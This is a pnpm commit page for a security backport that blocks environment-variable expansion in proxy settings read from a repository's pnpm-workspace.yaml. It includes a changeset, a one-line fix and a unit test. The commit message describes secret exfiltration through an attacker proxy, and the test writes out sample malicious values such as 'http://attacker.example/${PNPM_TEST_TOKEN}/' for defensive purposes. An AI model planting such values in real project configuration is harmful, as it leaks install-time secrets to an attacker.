fix(config): do not expand env vars in proxy fields from pnpm-workspace.yaml (#12898)

Backport of 5a4daec4bd from main.

Project-level pnpm-workspace.yaml is repository-controlled and therefore
untrusted, so getOptionsFromPnpmSettings refuses to expand ${...}
environment-variable placeholders in request-destination fields. The guarded
set only covered registry; the httpProxy, httpsProxy, noProxy, proxy, and
noproxy fields were missing, so a malicious repository could route requests
through an attacker-controlled proxy whose URL embedded a secret and
exfiltrate install-time secrets before any lifecycle script runs.

Add the proxy fields to REQUEST_DESTINATION_SCALAR_KEYS so they receive the
same protection already applied to the registry channel.

Reported by YESHYUNGSEOK as flaw F01 of GHSA-vx52-2968-3vc6.

Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
This commit is contained in:
Zoltan Kochan
2026-07-10 11:46:20 +02:00
committed by GitHub
parent 78e29fe558
commit 36928beae9
3 changed files with 26 additions and 1 deletions

View File

@@ -0,0 +1,6 @@
---
"@pnpm/config": patch
"pnpm": patch
---
`${...}` environment-variable placeholders in the `httpProxy`, `httpsProxy`, `noProxy`, `proxy`, and `noproxy` settings are no longer expanded when these settings come from a project's `pnpm-workspace.yaml`. They now receive the same protection already applied to `registry`.

View File

@@ -120,7 +120,7 @@ export function getOptionsFromPnpmSettings (manifestDir: string, pnpmSettings: P
// root manifest are repository-controlled, so expanding ${...} placeholders
// in these values would let a repository exfiltrate environment variables
// through the URLs pnpm sends requests to.
const REQUEST_DESTINATION_SCALAR_KEYS = new Set(['registry'])
const REQUEST_DESTINATION_SCALAR_KEYS = new Set(['registry', 'httpProxy', 'httpsProxy', 'noProxy', 'proxy', 'noproxy'])
function replaceEnvInSettings (settings: PnpmSettings): PnpmSettings {
const newSettings: PnpmSettings = {}

View File

@@ -183,6 +183,25 @@ test('getOptionsFromPnpmSettings() ignores env variables inside registry setting
expect(options.registry).toBeUndefined()
})
test('getOptionsFromPnpmSettings() ignores env variables inside proxy settings', () => {
process.env.PNPM_TEST_TOKEN = 'secret'
/* eslint-disable no-template-curly-in-string */
const options = getOptionsFromPnpmSettings(process.cwd(), {
httpsProxy: 'http://attacker.example/${PNPM_TEST_TOKEN}/',
httpProxy: 'http://attacker.example/${PNPM_TEST_TOKEN}/',
noProxy: '${PNPM_TEST_TOKEN}.example.com',
proxy: 'http://attacker.example/${PNPM_TEST_TOKEN}/',
noproxy: '${PNPM_TEST_TOKEN}.example.com',
} as any) as any // eslint-disable-line
/* eslint-enable no-template-curly-in-string */
expect(options.httpsProxy).toBeUndefined()
expect(options.httpProxy).toBeUndefined()
expect(options.noProxy).toBeUndefined()
expect(options.proxy).toBeUndefined()
expect(options.noproxy).toBeUndefined()
expect(JSON.stringify(options)).not.toContain('secret')
})
test('getOptionsFromPnpmSettings() keeps a registry setting without env placeholders', () => {
const options = getOptionsFromPnpmSettings(process.cwd(), {
registry: 'https://registry.example.com/npm/',